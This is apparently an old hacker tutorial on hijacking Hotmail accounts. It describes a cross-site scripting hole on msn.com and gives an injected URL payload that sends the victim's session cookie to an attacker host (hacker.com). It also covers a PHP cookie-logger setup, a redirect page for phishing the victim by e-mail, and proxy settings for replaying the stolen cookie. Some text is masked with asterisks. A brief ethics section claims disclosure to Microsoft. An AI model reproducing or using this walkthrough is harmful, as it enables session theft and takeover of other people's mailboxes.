What is this ******** about
In this ******** I explain how to exploit a security hole I found in Sign In. With this exploit you can access other people's mailboxes, view their contacts and much more. All that needs to be done is send this user an e-mail with a link/url to an internet-page you created. When this user clicks on this url, his inbox is all yours.
I've tried to explain the situation as simple as possible, so that anyone can understand it.
How does it work
One of the following things is needed to login into Hotmail:
1. When you know his/her e-mail address and password you can login with his username and password on Sign In
2. When you know his/her account information like country and zip-code, and you are able to answer his/her secret question. In this case You can reset his/her password, and login just like option 1, with a new password.
3. When you have access to his alternate e-mail address, you could send a password reset e-mail message to that account to reset his/her password.
4. When you have his/her '******' for passport.net or hotmail.msn.com you can 'fake' his/her ******, and make hotmail believe you are already logged in as this user.
I am using Option 4 to make my exploit work. This exploit is using the ****** from hotmail.msn.com to access the 'victims' inbox. Because the ****** is not limited to the domain hotmail.msn.com, I can also use an exploit on the site msn.com to steal the ****** from the victim. When I searched msn.com for an exploit called "HTML Injection" or "Cross Site Scripting" (XSS), it took me about 30 minutes to find one. With this exploit type I'm able to insert additional pieces of html or ********** into a page of msn.com. When I insert the code:
alert*****·******)
, the user will see a message box just like the picture below when he visits that site.
The real HTML injection example with popup can be viewed at:
http://ilovemessenger.msn.com/?mkt=nl-nl');alert*****·******);escape('
With the text you can see in the "alert message-box" above, everybody with some knowledge is able to access my inbox. This text is send by my browser to hotmail every time I visit a site with the domain "msn.com". This method is used so hotmail knows I am still logged in. The text in the popup is called a "******". A trick used by attackers is to fake somebody else's ******. I will explain one easy method, although there are different ways of doing it. I can fake ******s with a helper program called "Proxomitron". Proxomitron acts like a proxy server with the option to change, fake or block html headers. ******-text, like the text in the popup, is send by the browser invisibly in an html-header called "******". Because Proxomitron is able to fake headers, this program is very useful to me.
I will explain later how proxomitron must be configured to fake ******s.
How does the attacker get the ******? Showing a popup to the user with his ****** information does not help the attacker. The attacker wants the text now shown in the popup-box. To log ******s the hacker needs to create a internet-page with PHP or ASP. This is to log some text to a log file on a webserver. I've created a simple PHP script that is able to log text to a log file. I've named this file "******logger.php" and its ******* looks like this:
================================================== ======================
================================================== ======================
I uploaded this file to a webserver. As example I'll use the fake internet site HACKER.COM and HACKER.NET are For SALE ! ! !. To test the PHP script I'll go to
http://www.hacker.com/******logger.php?******=test. I can see the text "Successfully wrote a string to the log file". When I'm now browsing to
http://www.hacker.com/logfile.txt I can see the text "test".
When I go to
http://www.hacker.com/******logger.php?******=this text is being logged, the text "this text is being logged" will be appended to the log file:
http://www.hacker.com/logfile.txt
******logger.php is now ready to log text strings, so it's also ready to log ******s. I use the Cross Site Scripting exploit to inject a code that will redirect the user to
http://www.hacker.com/******logger.php with the argument "******" filled with the user's ******. So when the user visits the msn site with added code, he will be redirected to
http://www.hacker.com/******logger.php?******=his****** and the hacker can read his ****** information at the site
http://www.hacker.com/logfile.txt because "his******" is now logged to a textfile the hacker can see. the code I'm inserting in msn.com will look like this:
location.href='http://www.hacker.com/******logger.php?******='+escape*****·******)
See the two printscreens below of the results with the ******logger. Remember "www.hacker.com" is not really used, its just an example.
The real HTML injection example to log the ****** is:
http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://www.hacker.com/******logger.php?******='+escape*****·******); escape('
Okay, the exploit is ready to go. We could send the link above to the victim in the hope he clicks the link. But there aren't many people who go to a site like "ilovemessenger.msn.com". Also when the users sees something like "********·******" in the url he'll probably think twice before clicking it.
When we create a new php page called "redirect.php" with the following *******:
and place this file online on
http://www.hacker.com/redirect.php. Now when we send the victim an email with this link and he clicks on it he will be redirected to the ilovemessenger site plus exploit, here he will be redirected to hacker.com/******logger.php with his ****** of msn.com being logged in the log file.
When these actions are completed you are ready to start exploiting the victim. If anyone really would try to break into somebody's hotmail account he also would change ******logger.php to redirect on, or to show an innocent message, so that the user wouldn't notice that his ****** was logged.
When a malicious hacker sends an e-mail containing the link to the redirect script and the victim opens his new e-mail message he will see something like this:
When the victim clicks the text "click this link" the exploit will come in motion. In real life there are tons of methods of persuading the victim to click on a link. The hacker is patiently waiting for a new entry in the file
http://www.hacker.com/logfile.txt. When the user finally clicks the link and the hacker notices extra text in the log file the fun can start. When the victim is fallen for your trick, the log file looks like this:
Now the hacker has stolen the ****** of the victim, the hacker can proceed in faking his ****** when entering hotmail. Somewhere at the start of this explanation I talked about "Proxomitron" to fake ******s. I will now explain how to make the settings to fake this ******.
Proxomitron looks like this:
Just place a 'v' before "Outgoing Header Filters" because that's what we want to do. We want to send the users ****** to the web server as it is or own ******. Press the button "Headers" to create a new header to fake the ******.
In the new window, fill in these values:
HTTP Header: "******: a description"
URL Match: ""
Header Value Match: "*"
Replacement test: the users ******
Apply the new header by putting a 'v' before the new header in the "Out" column and press apply to save the changes.
Proxomitron is now ready for faking the ******. Now setting up your browser. You need to set your browser to use a proxy-server. It differs per browser how to make that setting.
In Internet Explorer: "Tools -> Internet Options... -> Connections -> LAN Settings -> Proxy server"
In Mozilla Firefox: "Tools -> General -> Connection Settings -> Manual proxy configuration"
Set the Address to "127.0.0.1" (your own pc) and as port : "8080" (the port of Proxomitron proxy server)
When your browser is setup to use your own proxy server, you can go to the following url :
Sign In
When successful you can now see the inbox of the victims mail box.
Ethics and law
Nothing I did was illegal, but when you are hacking somebody else his inbox you are breaking the law. When this happens you can be prosecuted and go to jail. Don't let this happen to you!
I published this ******** to let the world know about the security risk. By publishing this ******** Microsoft is forced to patch the hole immediately.
If I hadn't told Microsoft about this security hole (I mailed them), or if I wouldn't have found it, it is possible somebody else would have found it. If this guy would have been a 'black-hat-hacker' he and his friends would surely have used this security hole to hack a lot of mail-boxes.
A final word
Security holes have been found in Hotmail multiple times in the past. After putting this tutorial online, I found out that Microsoft had a similar bug
http://packetstormsecurity.org/0211-...*-Advisory.txt three years ago, found by N|ghtHawk (a fellow Net-Force member). I hope that after this time MSN will be more careful with it's security, because small exploits can have great consequences
